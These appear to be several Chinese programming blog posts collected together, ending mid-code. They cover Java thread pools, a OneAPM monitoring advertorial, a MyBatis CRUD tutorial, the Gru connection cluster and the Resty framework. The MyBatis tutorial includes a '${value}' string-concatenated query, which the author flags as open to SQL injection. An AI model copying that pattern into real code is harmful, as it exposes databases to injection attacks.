ThreadPoolExecutor总共有七个构造参数：


public ThreadPoolExecutor(int corePoolSize,
                          int maximumPoolSize,
                          long keepAliveTime,
                          TimeUnit unit,
                          BlockingQueue<Runnable> workQueue,
                          ThreadFactory threadFactory,
                          RejectedExecutionHandler handler) {



从其注释和参数名不难猜测各个参数的用途。唯一有点麻烦的是corePoolSize, maximumPoolSize这两个参数的区别。你可以参考这里或者这里。


但大多数情况我们并不需要直接调用它的构造函数，在Executors里面定义了一系列的静态方法供我们使用。包括newFixedThreadPool、newSingleThreadExecutor等。


由于ThreadPoolExecutor是一个通用的线程池，因此它需要为各种各样的情况预留足够的接口。ThreadPoolExecutor除了提供丰富的接口外，还提供了一些“什么都不做”的函数，为user预留接口。

比如每个任务在执行之前会调用beforeExecute，执行完毕后又会调用afterExecute。又比如terminate用来通知用户代码该线程将要结束。


这些接口java都提供了及其丰富的文档。


Executor接口设计的目的或许也在于此，为简单的情况提供尽量简单的使用方法，同时为复杂的情况或者说高级用户提供足够多的接口。


一个不用担心的问题


在最初使用ThreadPoolExecutor 时候，用到FutrueTask的cancel接口，我总是担心一个问题：


由于cancel是依赖线程的interrupt方法来实现的，也就是说cancel的状态保持在线程中而不是task中。那么当这个线程执行下一个task会不会被影响？为了验证这一点，我做了个小小的实验:


public class InterruptTest
{
    public static class MyTask implements Runnable {
        @Override
        public void run() {
            System.out.println(Thread.currentThread());
            System.out.println("before interrupt " + Thread.currentThread().isInterrupted());
            Thread.currentThread().interrupt();

            System.out.println("after interrupt " + Thread.currentThread().isInterrupted());
        }
    }
    public static void main(String[] str)
    {
        ExecutorService service = Executors.newFixedThreadPool(1);
        // MyTask task1 = new MyTask();
        Future<?> future1 = service.submit(new InterruptTest.MyTask());
        Future<?> future2 = service.submit(new InterruptTest.MyTask());
    }
}  



输出结果说明，我的担心是多余的：


Thread[pool-1-thread-1,5,main]
before interrupt false
after interrupt true
Thread[pool-1-thread-1,5,main]
before interrupt false
after interrupt true



其关键代码就在ThreadPoolExecutor.runWorker 方法中，线程的中断状态会被清除(shutDown例外)。


final void runWorker(Worker w) {
     ...
                // If pool is stopping, ensure thread is interrupted;
                // if not, ensure thread is not interrupted.  This
                // requires a recheck in second case to deal with
                // shutdownNow race while clearing interrupt
                if ((runStateAtLeast(ctl.get(), STOP) ||
                     (Thread.interrupted() &&
                      runStateAtLeast(ctl.get(), STOP))) &&
                    !wt.isInterrupted())
                    wt.interrupt();
    ...
}



参见 SO 的提问


其中Executors还有很多的东西，但是看看文章的长度，我决定把那些关于Executors的笔记先“藏”起来。


如果感兴趣的可以翻看源码: ThreadFactory, RejectHandler, worker, task, shutDown策略，锁机制... 看看ThreadPoolExecutor 把这些积木堆成一个房子的吧。


  PHPer 为什么会被 Javaer 鄙视？

作者：OneAPM蓝海讯通

来源：  PHPer 为什么会被 Javaer 鄙视？



                    
最近看了知乎上的一个话题
「在工作中，为什么 Java 程序员常常瞧不起 PHP 程序员？」

个人从业多年，用过的后端语言 ASP、ASP.NET、Java、PHP、Node.js、Python，如果你非要让我说哪种语言好，我会说「凡是宏哥说的都是对的，凡是宏哥提倡的都要坚持。只有真正的理解了宏哥思想才可以洞穿一切，走出空谷。」话不闲谈，咱们先说说我对 Java 的看法。

Java 在我看来好比重型武器，而且武器种类如王牌特工里，那位老特工给新特工展示的武器库一样丰富，就 Github 上的开源项目来说，远不止这些。

那么背后说明了什么？让我们引申出几个问题。

为什么 Java 这么重型？为什么 Java 思想开阔？

其实一开始 Java 就是以大型的服务器得解决方案而存在的，所以面对的都是企业级比较重型的需求（典型的银行项目、房产项目），对比一下淘宝和 ECShop，虽然最底层需求都是商城类整站，但是后者明显需求要单薄很多。那么也可以说 Java 是变相解决了更多的问题，自然可以说 Java 思想就开阔了。

Java 在团队协作中我的直观感觉就是库和标准。Java 有着数不完的现实标准库和标准。而且一个很多人不认为是要害的问题就是 Java 有好的 IDE，在如 Eclipse 上写出程序，错误会及时爆出，运行不了基本编译时就会报告出绝大多数错误。而 PHP 早年的学习基本只是记事本，DW 等工具，而且早年的 PHP 同样也不支持复杂的 OO 特性，从而在工程质量上 Java 就略胜一筹。

此时你要说那是早年了，现在 PHP 很多 OO 特性都支持，PHP 是世界上最好的语言并且没有之一，但是从人的角度上讲，从业时间长的大多数老兵还停留在早年 PHP 的状态，所以团队和新人的水平也大多得不到整体得提升（大牛和天才毕竟是少数）。到目前为止我也没有见过谁非要在 PHP 圈推行什么标准，推行什么框架（Java 圈基本天天都在喊，如果你赶上 JavaEye 崛起的时刻你能更明显得感觉到），大家都是拿全能「脚手架」在用，大家都是找快速实现需求得 CMS 类程序在用。

那么 PHP 就一无是处吗？自然不是，如果你使用过 SSH 开发过，看看 ThinkPHP 的实现机制你会觉得只要都是 WEB 框架，要解决得问题总是有限。早年 ThinkPHP 的控制器为 Action 后缀命名，连作者都直言是借鉴 Struts，模板中的变量属性输出可以用.来表示，PHP中.字符其实是字符串连接符，表示属性的话是->(PHP 很多原语都是类 C 的)。

那我们用 ThinkPHP  就可以快速解决开发中的问题了吗？当然不能。

虽然 ThinkPHP 中提供了很强的 DEBUG 输出，更有 G 方法计算输出运算时间以性能调试，但这依然不够，试想一下我们每天要调用多少外部接口（短信发送，微信集成，地图类等 API 输出），用户数量剧增时，又要接入多个 MySQL来负载（ThinkPHP 有软负载支持），如何一键输出所有的错误和性能问题呢？你没听错，就是一键，而且不管是测试还是生产环境，不管是出游还是办公室内，你随时可以拿起手机诊断这一切（我是在百度中真正搜索到这种平台才敢这么说）。

如果你总是关注开源中国等 IT 社区你一定知道有很多这样的平台了，但很多产品，安装上以后遇到了的第一个问题就是，不能免费，连最基本的测试都不能免费，只有最基本的功能。那有没有免费的可以用呢？不用去申请了，因为你可以选择使用OneAPM提供的SaaS 产品，目前，使用 Java 做业务处理后端语言的项目，已经可以和 PHP等展示端语言一起进行性能诊断了。

我们也可以对比分析国外的产品，首先在安装过程 OneAPM 已经非常自动化了，而且接入过程中，技术支持还会对所在的环境进行了一键远端排查，很快就可以诊断了环境中的问题。

下面为大家介绍如何使用 OneAPM 在线诊断代码中的各种问题


	1.性能全揽



	2.慢日志



	3.代码级定位



	4.数据库事务多天对比



	5.还送免费的报警（可以支持微信哦）



	6.迁移到阿里云同样支持




更多内容见官方的 DEMO：
https://user.oneapm.com/account/demo.do

好吧，这一切都是免费的，如果你的团队已经在产品稳定期，也可以使用收费版本。

既然解决了快速性能分析，是不是就可以高枕无忧了呢？对了，问题刚刚开始，解铃还得系铃人，让我们看看如何面对自己挖的坑，当然我要先介绍几款好的武器。


	chrome


	插件 xdebug


	php 使用 eclipse 安装 xdebug




为什么使用 Eclipse？对了，说好了不想被鄙视，你就必须是全栈，你还要编写 Java 呢不是吗？

打开浏览器把那只虫子点绿吧，开始捉虫之旅。


此时你还在乎被其他语言鄙视吗？如果是的话，你一定没有仔细看本文的开篇。另外很期待下一次可以与大家一同参加极客社区，分享更多极客编程体验！！！

本文系 |
6f64d567bff6feb737ffe653fc2c39b617
| 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。


 Mybatis学习笔记（一）——基本的CRUD操作

作者：大梦初晓

来源： Mybatis学习笔记（一）——基本的CRUD操作



                    
MyBatis是什么

mybatis是托管在github上的ORM框架，让程序员将主要精力放在SQL上，通过mybatis提供映射方式，自由灵活（SQL的可定制性较高，半自动化）生成满足需求的SQL语句。mybatis可以将向 preparedStatement中的输入参数自动进行输入映射，将查询结果集灵活映射成java对象。（输出映射）

在进行项目的编码之前首先初始化数据库，项目所需要的sql脚本。

原生jdbc中的问题总结

观察以下的代码：

@Test
public void testJDBC(){
    final String DB_DRIVER = "org.gjt.mm.mysql.Driver";
    final String DB_URL = "jdbc:mysql://127.0.0.1:3306/mybatis?characterEncoding=utf-8";
    final String DB_USER = "root";
    final String DB_PASSWORD = "mysqladmin";
    
    Connection conn = null;
    PreparedStatement pstmt = null;
    ResultSet rs = null;
    
    try {
        Class.forName(DB_DRIVER);
        conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
        String sql = "SELECT * FROM user WHERE username = ?";
        pstmt = conn.prepareStatement(sql);
        pstmt.setString(1, "王五");
        rs = pstmt.executeQuery();
        while (rs.next()) {
            System.out.println("id:" + rs.getInt("id") + ",username:" + rs.getString("username"));
        }
    } catch (ClassNotFoundException | SQLException e) {
        e.printStackTrace();
    } finally {
        if(rs != null){
            try {
                rs.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
        if( pstmt != null){
            try {
                pstmt.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
        if(conn!=null){
            try {
                conn.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
    }
}

以上的程序中存在以下的问题：


	数据库使用时打开连接，不使用的时候立即释放连接。对数据库进行了频繁的打开和关闭，影响性能（设想：可以使用DBPool）。


	将SQL语句硬编码到java代码中，修改SQL语句需要重新编译java代码（设想：使用配置文件配置SQL）。


	在向PreparedStatement中设置参数的时候参数的位置和参数值硬编码在代码中（设想：配置文件）。


	从结果集中遍历数据的时候存在硬编码。（设想：把结果集映射成javabean）




MyBatis原理


	SqlMapConfig.xml:MyBatis全局配置文件（数据源、事务等mybatis运行环境），不是固定名称；


	mapper.xml:映射关系（配置SQL语句）；


	SqlSessionFactory：创建会话（SqlSession）；


	SqlSession：操作DB（CRUD），面向用户的接口；


	Excutor：执行器（SqlSession内部通过执行器操作DB），接口（有2个实现类，基本执行器和缓存执行器）；


	mappedstatement：底层封装对象（sql语句、输入参数、结果类型）。






入门程序

需求：


	根据id（主键）查询用户信息


	根据用户名模糊查询用户信息


	添加用户


	更新用户


	删除用户




在新建一个源代码目录config，在config目录下使用以下的log4j属性文件(可以从mybatis示例程序中拷贝)：

编码前的准备

log4j

# 开发环境中日志的级别使用DEBUG，生产环境中日志级别为ERROR
### Global logging configuration
log4j.rootLogger=DEBUG, stdout

### Console output...
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%5p [%t] - %m%n

工程目录如下所示



在SqlMapConfig.xml中配置MyBatis的运行环境：

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
    PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
    "http://mybatis.org/dtd/mybatis-3-config.dtd">

<configuration>
    <!-- 与Spring整合后该配置将会被移除 -->
    <environments default="development">
        <environment id="development">
            <!-- 使用JDBC事务进行管理，事务的控制由mybatis管理 -->
            <transactionManager type="JDBC">
                <property name="" value="" />
            </transactionManager>
            <!-- 数据库连接池，由mybatis管理 -->
            <dataSource type="UNPOOLED">
                <property name="driver" value="org.gjt.mm.mysql.Driver" />
                <property name="url" value="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf8" />
                <property name="username" value="root" />
                <property name="password" value="mysqladmin" />
            </dataSource>
        </environment>
    </environments>
</configuration>

根据id查询用户信息

1.新建一个pojo名称为User，其字段如下：

private int id;
private String username;
private String sex;
private Date birthday;
private String address;

2.在映射文件（User.xml,这是原始的ibatis映射方式，如果采用mapper代理则名称应该是UserMapper.xml）中配置sql语句。

在config/sqlmap目录下新建一个User.xml(输入的参数类型和输出的结果集映射的javabean)内容如下：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper
    PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
    "http://mybatis.org/dtd/mybatis-3-mapper.dtd">

<!-- 命名空间用来对SQL进行分类管理（SQL隔离）
    注意：
        如果采用Mapper代理模式开发，该命名空间具有重要意义
 -->    
<mapper namespace="test">

<!-- 在映射文件中配置SQL语句 -->

<!-- 此处的id用来标识映射文件中的SQL，为Statement的id，将SQL语句封装到mappedstatement对象中-->
<!-- 通过id查询用户 

     parameterType   指定输入参数的类型（id是int）
     #{}             就是jdbc中的占位符
     #{id}              其中的id是参数名，如果输入的参数是简单类型，#{}中的参数可以任意
     resultType          指定SQL语句结果集所映射的JavaBean
-->
<select id="findUserById" parameterType="int" resultType="org.gpf.po.User">
    SELECT * FROM user WHERE id = #{id};
</select>

</mapper>

3.在SqlMapConfig.xml中加载User.xml.（在User.xml的configuration中加入以下内容）

<mappers>
    <mapper resource="sqlmap/User.xml"/>
</mappers>

4.编写测试类：

/**
 * 根据id查询用户信息
 */
@Test
public void testFindUserById() throws IOException{
    
    // mybatis配置
    String resource = "SqlMapConfig.xml";
    
    // 得到配置文件的流
    InputStream is = Resources.getResourceAsStream(resource);
    
    // 创建会话工厂(传入配置信息)
    SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(is);
    
    // 通过会话工厂得到Sqlsession
    SqlSession session = sqlSessionFactory.openSession();
    
    // 查询
    // 参数一：命名空间下的SQL的id；
    // 参数二：和映射文件中匹配的parameterType参数
    // 返回值：映射文件中resultType配置的javabean
    User user = session.selectOne("test.findUserById", 1);
    System.out.println(user);
    
    // 释放资源(关闭会话)
    session.close();
}

根据用户信息模糊查询用户信息

在User.xml中配置如下：

<!-- 根据用户名进行模糊查询
    注意：虽然查询的结果可能是多条，但是resultType还是javabean，即：单条记录所对应的java对象
 -->
<select id="findUserByName" parameterType="java.lang.String" resultType="org.gpf.po.User">
    SELECT * FROM user WHERE username LIKE #{value};
</select>

测试类：

/**
 * 模糊查询（可能返回多条）
 */
@Test
public void testFindUserByName() throws IOException {

    // 通过会话工厂得到Sqlsession
    SqlSession session = new SqlSessionFactoryBuilder().build(Resources.getResourceAsStream("SqlMapConfig.xml")).openSession();
    // 返回多条记录
    List users = session.selectList("test.findUserByName", "%明%");
    System.out.println(users);
    session.close();
}

在执行模糊查询的时候我们在编码的时候传入了%作为参数，为了避免出错（少加了%）我们可以在User中配置以下的SQL(同样：我们需要注意：拼接SQL语句可能导致SQL注入)：

<!-- 根据用户名进行模糊查询
    ${}            拼接SQL串,可能引起SQL注入
    ${value}       接收输入的参数。如果是简单类型，只能使用value
 -->
<select id="findUserByName" parameterType="java.lang.String" resultType="org.gpf.po.User">
    <!-- 使用${}进行SQL拼接 -->
    SELECT * FROM user WHERE username LIKE '%${value}%';
</select>

在测试代码中我们可以这样：

List users = session.selectList("test.findUserByName", "明");

因为${value}进行SQL拼接可能导致sql注入因此不建议使用。

添加用户

在User.xml中配置Statement如下：

<!-- 添加用户
    注意：此时输入的参数名是POJO
    #{}            指定POJO的属性值（mybatis通过OGNL来获取属性值）
 -->
<insert id="insertUser" parameterType="org.gpf.po.User">
    INSERT INTO user(username,birthday,sex,address) VALUES(#{username},#{birthday},#{sex},#{address});
</insert>

测试类：

/**
 * 添加用户
 */
@Test
public void testInsertUser() throws IOException{
    
    // 得到sqlsession
    SqlSession session = new SqlSessionFactoryBuilder().build(Resources.getResourceAsStream("SqlMapConfig.xml")).openSession();
    
    // 实例化javabean
    User user = new User();
    user.setUsername("萧晚晴");
    user.setBirthday(new Date());
    user.setSex("2");
    user.setAddress("峨眉山");
    
    // 执行插入语句,并提交事务
    session.insert("test.insertUser",user);
    session.commit();
    
    // 关闭sqlsession
    session.close();
}

自增主键的返回

MySQL自增主键，执行insert提交之前自动生成一个自增主键，通过其LAST_INSERT_ID()函数可以获得其插入后的自增主键。修改以上的插入用户的statement：

<insert id="insertUser" parameterType="org.gpf.po.User">
    <!-- 将INSERT插入记录后的主键返回，SELECT  LAST_INSERT_ID()仅适用于自增主键
        keyProperty         将查询到的主键值设置到parameterType指定对象的特定属性
        order                执行顺序（相对于INSERT语句来说）
        resultType            指定LAST_INSERT_ID（）的结果类型
    -->
    <selectKey keyProperty="id" order="AFTER" resultType="int">
         SELECT  LAST_INSERT_ID();
    </selectKey>
    INSERT INTO user(username,birthday,sex,address) VALUES(#{username},#{birthday},#{sex},#{address});
</insert>

这样我们就可以在执行插入之后取得刚刚插入的记录的主键：

/**
 * 添加用户
 */
@Test
public void testInsertUser() throws IOException{
    
    // 得到sqlsession
    SqlSession session = new SqlSessionFactoryBuilder().build(Resources.getResourceAsStream("SqlMapConfig.xml")).openSession();
    
    // 实例化javabean
    User user = new User();
    user.setUsername("萧晚晴");
    user.setBirthday(new Date());
    user.setSex("2");
    user.setAddress("峨眉山");
    
    // 执行插入语句,并提交事务
    session.insert("test.insertUser",user);
    session.commit();
    System.out.println(user.getId());    // 得到插入数据的主键
    // 关闭sqlsession
    session.close();
}

非自增主键的返回

可以使用MySQL的uuid()函数来生成主键，需要修改表的id字段为String，长度设置为35位。执行思路是先通过uuid()查询到主键，将主键输入到SQL中。注意：执行的uuid()函数的顺序相对于INSERT语句之前执行。

<!-- 使用MySQL的uuid（）返回主键,该方法适用于非自增主键-->
<selectKey keyProperty="id" order="BEFORE" resultType="java.lang.String">
     SELECT  UUID();
</selectKey>
INSERT INTO user(id,username,birthday,sex,address) VALUES(#{id},#{username},#{birthday},#{sex},#{address});

如果使用的是Oracle，序列就类似于MySQL的uuid()函数,替换即可：

<selectKey keyProperty="id" order="BEFORE" resultType="java.lang.String">
     SELECT 序列名.nextval();
</selectKey>
INSERT INTO user(id,username,birthday,sex,address) VALUES(#{id},#{username},#{birthday},#{sex},#{address});

删除用户

映射文件：

<!-- 删除用户 -->
<delete id="deleteUser" parameterType="java.lang.Integer">
    DELETE FROM user WHERE id = #{id}
</delete>

测试类：

/**
 * 根据id删除用户
 */
@Test
public void testDeleteUser() throws IOException{
    // 得到sqlsession
    SqlSession session = new SqlSessionFactoryBuilder().build(Resources.getResourceAsStream("SqlMapConfig.xml")).openSession();
    
    // 执行删除语句,并提交事务
    session.delete("test.deleteUser", 31);
    session.commit();
    // 关闭sqlsession
    session.close();
}

更新用户信息

映射文件

<!-- 更新用户信息 
    因为更新用户信息需要指定用户的id和用户的信息，所以parameterType为javabean（注意id必须存在否则将全部更新）
    #{id}          从输入的user对象中获取id属性值
-->
<update id="updateUser" parameterType="org.gpf.po.User">
    UPDATE user SET username = #{username},birthday=#{birthday},sex=#{sex},address=#{address} WHERE id = #{id}
</update>

测试程序

/**
 * 更新用户
 */
@Test
public void testupdateUser() throws IOException{
    // 得到sqlsession
    SqlSession session = new SqlSessionFactoryBuilder().build(Resources.getResourceAsStream("SqlMapConfig.xml")).openSession();
    
    // 实例化javabean
    User user = new User();
    user.setId(32);
    user.setUsername("上官飞燕");
    user.setBirthday(new Date());
    user.setSex("1");
    user.setAddress("青城山");
    
    // 执行更新语句,并提交事务
    session.update("test.updateUser",user);
    session.commit();
    // 关闭sqlsession
    session.close();
}

总结


	parameterType
在映射文件中通过parameterType指定输入参数的类型。


	resultType
在映射文件中通过resultType指定输出结果的类型。


	#{}和${}





#{}表示一个占位符号，#{}接收输入参数，类型可以是简单类型，pojo、hashmap。如果接收简单类型，#{}中可以写成value或其它名称。
#{}接收pojo对象值，通过OGNL读取对象中的属性值，通过属性.属性.属性...的方式获取对象属性值。

${}表示一个拼接符号，会引用sql注入，所以不建议使用${}。
${}接收输入参数，类型可以是简单类型，pojo、hashmap。如果接收简单类型，${}中只能写成value。
${}接收pojo对象值，通过OGNL读取对象中的属性值，通过属性.属性.属性...的方式获取对象属性值。



	
selectOne和selectList


	selectOne表示查询出一条记录进行映射。如果使用selectOne可以实现使用selectList也可以实现（list中只有一个对象）。


	selectList表示查询出一个列表（多条记录）进行映射。如果使用selectList查询多条记录，不能使用selectOne。








如果使用selectOne报错：

org.apache.ibatis.exceptions.TooManyResultsException: Expected one
result (or null) to be returned by selectOne(), but found: 4




 Gru：一个单节点支持10W+的长连接集群解决方案

作者：sumory

来源： Gru：一个单节点支持10W+的长连接集群解决方案



                    
Github

项目名称为Gru，取自《卑鄙的我》
项目地址： https://github.com/sumory/gru
示例-web chat：https://github.com/sumory/gru-example



先上图

	
示例项目是一个IM应用，基于Node.js和socket.io(协议实现由Gru提供)，截图：


	


	








	
Gru集群提供状态监控，该模块使用Node.js实现


	


	








介绍

其实集群的主要实现是基于Java的，也用了大量的中间件，node.js实现了监控和示例项目，但稍微上点规模的项目都不是一个门语言能cover的，所以有兴趣的同学还是可以看下这个项目的。详情见Github，大致介绍如下：

Gru

Gru是一个长连接服务解决方案，可用于各种类型的实时交互应用。


	支持单点部署和集群模式部署


	采用socket.io协议


	各模块均支持水平扩展


	单节点可服务10W+以上长连接，具体为在不断发消息的情况下(1000条/秒)，单长连接服务节点支持的稳定连接数量在10W+(8核16G)


	节点间通讯支持多种方式：进程内、redis、rocketmq




安装:


	最小化安装


	集群安装




Gru-example

gru-example基于Gru的示例项目，即时应用最典型的代表就是IM，这个示例是一个基于Gru的web聊天应用。

安装:


	
需首先配置好Gru集群


	集群配置详见Gru文档


	若不需要集群，Gru项目只需要部署一个模块(spear)即可






	本示例是一个Node.js项目，需先安装Node.js


	
clone下本示例


	npm install相关依赖


	配置文件在config目录下，特别注意spearNode配置，此配置为一个可用的spear节点


	运行node app.js，默认会加载config/dev.js配置文件








其它


	这个项目的前身是我原来的一个开源项目，后来用于公司内部某系统，就关了Github。最近抽空剥离了一些业务代码，内部实现改得更为通用后重新开放出来，支持点对点和广播消息。


	由于Gru是按照集群设计的，所以架构上分了好几个模块，但若是对于十万级别的长连接来说，单纯一个长连接节点(Gru的长连接服务模块叫spear，详见代码目录下的spear目录)即可支持。感兴趣的同学可拿spear自行改造。


	gru-example提供了一个如何使用gru构建实时应用的示例，若要二次开发，集成用户系统进来，可在类似于gru-example的模块中实现。




最后，欢迎star和fork.


 极简的Restful框架推荐->Resty

作者：Dreampie

来源： 极简的Restful框架推荐->Resty



                    
源码链接：Resty      开发文档


如果你还不是很了解restful，或者认为restful只是一种规范不具有实际意义，推荐一篇osc两年前的文章：RESTful API 设计最佳实践  和 Infoq的一篇极其理论的文章  理解本真的REST架构风格 虽然有点老，介绍的也很简单，大家权当了解，restful的更多好处，还请google


拥有jfinal/activejdbc一样的activerecord的简洁设计，使用更简单的restful框架


restful的api设计，是作为restful的服务端最佳选择（使用场景：客户端和服务端解藕，用于对静态的html客户端（mvvm等），ios，andriod等提供服务端的api接口）


提醒：因框架还在开发第一个正式项目，所以会有细微调整，更新提醒频繁，所以star时关闭watch，或者您可以在个人设置->Notification center->Watching->Email 关闭邮件提醒，感谢您的理解和支持


开发群: 


下载jar包：Resty相关jar


maven使用方式:


1.添加maven snapshots仓库


xml<repositories>
    <repository>
      <id>oss-snapshots</id>
      <url>https://oss.sonatype.org/content/repositories/snapshots</url>
      <releases>
        <enabled>false</enabled>
      </releases>
      <snapshots>
        <enabled>true</enabled>
      </snapshots>
    </repository>
  </repositories>



2.添加依赖包


xml<dependency>
    <groupId>cn.dreampie</groupId>
    <artifactId>resty-route</artifactId>
    <version>1.0-SNAPSHOT</version>
</dependency>



一、独有优点：


重大更新：


Record的时代已经到来，你完全不用使用任何的model来执行你的数据


java//创建record的执行器  针对sec_user表 并开启缓存
Record recordDAO = new Record("sec_user",true);
//使用当前数据源和表数据 new一个对象来保存数据
recordDAO.reNew().set("属性", "值").save();
Record r1 = recordDAO.reNew().set("属性", "值");
Record r2 = recordDAO.reNew().set("属性", "值");
//批量保存
recordDAO.save(r1, r2);
//更新
r2.set("属性", "值").update()
//查询全部
List<Record> records = recordDAO.findAll();
//条件查询
recordDAO.findBy(where,paras)
//分页查询
Page<Record> records = recordDAO.paginateAll();
//根据id删除
recordDAO.deleteById("1");

//本次查询放弃使用cache 
recordDAO.unCache().findBy(where,paras);
//把record的数据源切换到dsName数据源上
recordDAO.useDS(dsName).findBy(where,paras);

//等等，完全摆脱model，实现快速操作数据




Model支持动态切换数据源和本次查询放弃使用cache


javaUser dao=new User();
//本次查询放弃使用cache 
dao.unCache().findBy(where,paras);
//把model的数据源切换到dsName数据源上
dao.useDS(dsName).findBy(where,paras);




//数据库和全局参数配置移植到application.properties  详情参看resty-example


java#not must auto load
app.encoding=UTF-8
app.devMode=true
app.showRoute=false
app.cacheEnabled=true
#默认使用ehcacheManager
#app.cacheManager=cn.dreampie.cache.redis.RedisManager

##druid plugin auto load
db.default.url=jdbc:mysql://127.0.0.1/example?useUnicode=true&characterEncoding=UTF-8
db.default.user=dev
db.default.password=dev1010
db.default.dialect=mysql

#c3p0配置
c3p0.default.minPoolSize=3
c3p0.default.maxPoolSize=20

#druid配置
#druid.default.initialSize=10
#druid.default.maxPoolPreparedStatementPerConnectionSize=20
#druid.default.timeBetweenConnectErrorMillis=1000
#druid.default.filters=slf4j,stat,wall

#flyway database migration auto load
flyway.default.valid.clean=true
flyway.default.migration.auto=true
flyway.default.migration.initOnMigrate=true


db.demo.url=jdbc:mysql://127.0.0.1/demo?useUnicode=true&characterEncoding=UTF-8
db.demo.user=dev
db.demo.password=dev1010
db.demo.dialect=mysql
#druid
druid.demo.initialSize=10
druid.demo.maxPoolPreparedStatementPerConnectionSize=20
druid.demo.timeBetweenConnectErrorMillis=1000
druid.demo.filters=slf4j,stat,wall
#flyway
flyway.demo.valid.clean=true
flyway.demo.migration.auto=true
flyway.demo.migration.initOnMigrate=true



//数据库的配置精简  自动从文件读取参数  只需配置model扫描目录 和dsName
public void configPlugin(PluginLoader pluginLoader) {
  //第一个数据库
  ActiveRecordPlugin activeRecordPlugin = new ActiveRecordPlugin(new DruidDataSourceProvider("default"), true);
  activeRecordPlugin.addIncludePaths("cn.dreampie.resource");
  pluginLoader.add(activeRecordPlugin);
}




1.极简的route设计，完全融入普通方法的方式，方法参数就是请求参数，方法返回值就是数据返回值


java  @GET("/users/:name")
  //在路径中自定义解析的参数 如果有其他符合 也可以用 /users/{name}
  // 参数名就是方法变量名  除路径参数之外的参数也可以放在方法参数里  传递方式 user={json字符串}
  public Map find(String name,User user) {
    // return Lister.of(name);
    return Maper.of("k1", "v1,name:" + name, "k2", "v2");
    //返回什么数据直接return
  }



2.极简的activerecord设计，数据操作只需短短的一行,支持批量保存对象


java  //批量保存
  User u1 = new User().set("username", "test").set("providername", "test").set("password", "123456");
  User u2 = new User().set("username", "test").set("providername", "test").set("password", "123456");
  User.dao.save(u1,u2);

  //普通保存
  User u = new User().set("username", "test").set("providername", "test").set("password", "123456");
  u.save();

  //更新
  u.update();
  //条件更新
  User.dao.updateBy(columns,where,paras);
  User.dao.updateAll(columns,paras);

  //删除
  u.deleted();
  //条件删除
  User.dao.deleteBy(where,paras);
  User.dao.deleteAll();

  //查询
  User.dao.findById(id);
  User.dao.findBy(where,paras);
  User.dao.findAll();

  //分页
  User.dao.paginateBy(pageNumber,pageSize,where,paras);
  User.dao.paginateAll(pageNumber,pageSize);



3.极简的客户端设计，支持各种请求，文件上传和文件下载（支持断点续传）


java  Client client=null;//创建客户端对象
  //启动resty-example项目，即可测试客户端
  String apiUrl = "http://localhost:8081/api/v1.0";
  //如果不需要 使用账号登陆
  //client = new Client(apiUrl);
  //如果有账号权限限制  需要登陆
  client = new Client(apiUrl, "/tests/login", "u", "123");

  //该请求必须  登陆之后才能访问  未登录时返回 401  未认证
  ClientRequest authRequest = new ClientRequest("/users", HttpMethod.GET);
  ResponseData authResult = client.build(authRequest).ask();
  System.out.println(authResult.getData());

  //get
  ClientRequest getRequest = new ClientRequest("/tests", HttpMethod.GET);
  ResponseData getResult = client.build(getRequest).ask();
  System.out.println(getResult.getData());

  //post
  ClientRequest postRequest = new ClientRequest("/tests", HttpMethod.POST);
  postRequest.addParam("test", Jsoner.toJSONString(Maper.of("a", "谔谔")));
  ResponseData postResult = client.build(postRequest).ask();
  System.out.println(postResult.getData());

  //put
  ClientRequest putRequest = new ClientRequest("/tests/x", HttpMethod.PUT);
  ResponseData putResult = client.build(putRequest).ask();
  System.out.println(putResult.getData());


  //delete
  ClientRequest deleteRequest = new ClientRequest("/tests/a", HttpMethod.DELETE);
  ResponseData deleteResult = client.build(deleteRequest).ask();
  System.out.println(deleteResult.getData());


  //upload
  ClientRequest uploadRequest = new ClientRequest("/tests/resty", HttpMethod.POST);
  uploadRequest.addUploadFiles("resty", ClientTest.class.getResource("/resty.jar").getFile());
  uploadRequest.addParam("des", "test file  paras  测试笔");
  ResponseData uploadResult = client.build(uploadRequest).ask();
  System.out.println(uploadResult.getData());


  //download  支持断点续传
  ClientRequest downloadRequest = new ClientRequest("/tests/file", HttpMethod.GET);
  downloadRequest.setDownloadFile(ClientTest.class.getResource("/resty.jar").getFile().replace(".jar", "x.jar"));
  ResponseData downloadResult = client.build(downloadRequest).ask();
  System.out.println(downloadResult.getData());



4.支持多数据源和嵌套事务（使用场景：需要访问多个数据库的应用，或者作为公司内部的数据中间件向客户端提供数据访问api等）


java  // 在resource里使用事务,也就是controller里，rest的世界认为所以的请求都表示资源，所以这儿叫resource
  @GET("/users")
  @Transaction(name = {"default", "demo"}) //多数据源的事务，如果你只有一个数据库  直接@Transaction 不需要参数
  public User transaction() {
  //TODO 用model执行数据库的操作  只要有操作抛出异常  两个数据源 都会回滚  虽然不是分布式事务  也能保证代码块的数据执行安全
  }

  // 如果你需要在service里实现事务，通过java动态代理（必须使用接口，jdk设计就是这样）
  public interface UserService {
    @Transaction(name = {"demo"})//service里添加多数据源的事务，如果你只有一个数据库  直接@Transaction 不需要参数
    public User save(User u);
  }
  // 在resource里使用service层的 事务
  // @Transaction(name = {"demo"})的注解需要写在service的接口上
  // 注意java的自动代理必须存在接口
  // TransactionAspect 是事务切面 ，你也可以实现自己的切面比如日志的Aspect，实现Aspect接口
  // 再private UserService userService = AspectFactory.newInstance(new UserServiceImpl(), new TransactionAspect(),new LogAspect());
  private UserService userService = AspectFactory.newInstance(new UserServiceImpl(), new TransactionAspect());



5.极简的权限设计,可以通过cache支持分布式session，你只需要实现一个简单接口和添加一个拦截器，即可实现基于url的权限设计


java  public void configInterceptor(InterceptorLoader interceptorLoader) {
    //权限拦截器 放在第一位 第一时间判断 避免执行不必要的代码
